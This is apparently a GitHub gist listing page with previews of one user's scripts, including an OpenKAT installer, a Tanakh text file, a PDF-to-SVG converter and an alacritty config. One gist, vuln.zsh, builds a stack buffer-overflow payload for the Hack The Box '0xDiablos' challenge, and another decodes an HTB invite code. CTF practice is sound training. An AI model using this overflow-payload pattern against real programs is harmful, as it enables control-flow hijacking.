Skip to content

Instantly share code, notes, and snippets.

@originalsouth
originalsouth / install_openkat_python.zsh
Last active March 5, 2024 08:03
Install OpenKAT Python
#!/usr/bin/env zsh
DIR=${0:a:h}
PREFIX="nl-kat-coordination"
[ -d "$DIR/python" ] && rm -rf "$DIR/python"
python -m venv "$DIR/python"
source $DIR/python/bin/activate
@originalsouth
originalsouth / tanakh.txt
Last active March 2, 2023 13:41
Tanakh: all 929 chapters
This file has been truncated, but you can view the full file.
בְּרֵאשִׁ֖ית בָּרָ֣א אֱלֹהִ֑ים אֵ֥ת הַשָּׁמַ֖יִם וְאֵ֥ת הָאָֽרֶץ׃וְהָאָ֗רֶץ הָיְתָ֥ה תֹ֙הוּ֙ וָבֹ֔הוּ וְחֹ֖שֶׁךְ עַל־פְּנֵ֣י תְה֑וֹם וְר֣וּחַ אֱלֹהִ֔ים מְרַחֶ֖פֶת עַל־פְּנֵ֥י הַמָּֽיִם׃וַיֹּ֥אמֶר אֱלֹהִ֖ים יְהִ֣י א֑וֹר וַֽיְהִי־אֽוֹר׃וַיַּ֧רְא אֱלֹהִ֛ים אֶת־הָא֖וֹר כִּי־ט֑וֹב וַיַּבְדֵּ֣ל אֱלֹהִ֔ים בֵּ֥ין הָא֖וֹר וּבֵ֥ין הַחֹֽשֶׁךְ׃וַיִּקְרָ֨א אֱלֹהִ֤ים ׀ לָאוֹר֙ י֔וֹם וְלַחֹ֖שֶׁךְ קָ֣רָא לָ֑יְלָה וַֽיְהִי־עֶ֥רֶב וַֽיְהִי־בֹ֖קֶר י֥וֹם אֶחָֽד׃
וַיֹּ֣אמֶר אֱלֹהִ֔ים יְהִ֥י רָקִ֖יעַ בְּת֣וֹךְ הַמָּ֑יִם וִיהִ֣י מַבְדִּ֔יל בֵּ֥ין מַ֖יִם לָמָֽיִם׃וַיַּ֣עַשׂ אֱלֹהִים֮ אֶת־הָרָקִיעַ֒ וַיַּבְדֵּ֗ל בֵּ֤ין הַמַּ֙יִם֙ אֲשֶׁר֙ מִתַּ֣חַת לָרָקִ֔יעַ וּבֵ֣ין הַמַּ֔יִם אֲשֶׁ֖ר מֵעַ֣ל לָרָקִ֑יעַ וַֽיְהִי־כֵֽן׃וַיִּקְרָ֧א אֱלֹהִ֛ים לָֽרָקִ֖יעַ שָׁמָ֑יִם וַֽיְהִי־עֶ֥רֶב וַֽיְהִי־בֹ֖קֶר י֥וֹם שֵׁנִֽי׃
וַיֹּ֣אמֶר אֱלֹהִ֗ים יִקָּו֨וּ הַמַּ֜יִם מִתַּ֤חַת הַשָּׁמַ֙יִם֙ אֶל־מָק֣וֹם אֶחָ֔ד וְתֵרָאֶ֖ה הַיַּבָּשָׁ֑ה וַֽיְהִי־כֵֽן׃וַיִּקְרָ֨א אֱלֹהִ֤ים ׀ לַיַּבָּשָׁה֙ אֶ֔רֶץ וּלְמִקְוֵ֥ה הַמַּ֖יִם קָרָ֣א יַמִּ֑ים וַיַּ֥רְא אֱלֹהִ֖ים כִּי
@originalsouth
originalsouth / vuln.zsh
Created May 3, 2020 20:02
You know 0xDiablos
#!/usr/bin/env zsh
[[ -z $DEBUG ]] || set -x
TARGET=./vuln
BUFF=$(printf 'x%.0s' {1..188})
FUNC=$(printf '\xE2\x91\x04\x08')
VAR1=$(printf '\xEF\xBE\xAD\xDE')
VAR2=$(printf '\x0D\xD0\xDE\xC0')
PADD=$(printf '\xFF%.0s' {1..4})
PAYLOAD=$(printf '%s%s%s%s%s%s' $BUFF $FUNC $PADD $VAR1 $VAR2)
[[ -z $DEBUG ]] || echo -n "$PAYLOAD" | xxd
@originalsouth
originalsouth / htbi.zsh
Created May 3, 2020 20:00
Hack The Box Invitation
#!/usr/bin/env zsh
echo $(curl --request POST https://www.hackthebox.eu/api/invite/generate 2>/dev/null | cut -d\" -f8 | base64 -d)
exit 0
@originalsouth
originalsouth / xor-potato
Created March 22, 2020 17:37
xor a potato
use std::io::prelude::*;
use std::fs::File;
fn main() {
let mut f = File::open("./potato").unwrap();
let mut inbuffer = Vec::new();
// read the whole file
f.read_to_end(&mut inbuffer);
@originalsouth
originalsouth / belphegor.zsh
Last active November 9, 2019 09:31
Enumerate a number of Belphegor numbers
#!/usr/bin/env zsh
zmodload zsh/mathfunc
MAX=5
DEVIL=666
if [ ! -z "$1" ]
then
MAX=$((abs($1)))
fi
if [ ! -z "$2" ]
then
@originalsouth
originalsouth / picopaste.zsh
Created October 20, 2019 13:36
Script to convert copied text to sound via xsel and pico-tts
#!/usr/bin/env zsh
text=$(xsel -b | perl -pe 's/\. /\.\n/g')
while read -r line
do
echo $line | pico-tts | aplay -q -f S16_LE -r 16
done <<< "$text"
exit 0
@originalsouth
originalsouth / Makefile
Created October 11, 2019 13:14
Emscripten bug
OPTLEVEL=3
bug.js: bug.c
emcc -Wall -Wextra -flto -O$(OPTLEVEL) -s ENVIRONMENT=worker -o $@ $<
clean:
-rm -rf bug.js bug.wasm
@originalsouth
originalsouth / pdf2websvg.zsh
Last active July 27, 2019 11:42
pdf2websvg.zsh: mobile browsers do not support rendering PDFs but they do render SVGs so why not convert? (Oy! think about the bandwidth; httpd compression?)
#!/usr/bin/env zsh
function convert
{
PDF=$1
FNAME=$(echo $PDF | cut -d\. -f1)
OUTPUT=$(echo $FNAME.svg)
PAGES=$(pdftk $PDF dump_data | grep NumberOfPages| awk '{print $2}')
for i in $(seq 1 $PAGES)
do
pdf2svg $PDF $FNAME-$i.svg $i
@originalsouth
originalsouth / alacritty.yml
Last active January 31, 2019 13:42
alacritty.yml
# Configuration for Alacritty, the GPU enhanced terminal emulator.
# Any items in the `env` entry below will be added as
# environment variables. Some entries may override variables
# set by alacritty itself.
#env:
# TERM variable
#
# This value is used to set the `$TERM` environment variable for
# each instance of Alacritty. If it is not present, alacritty will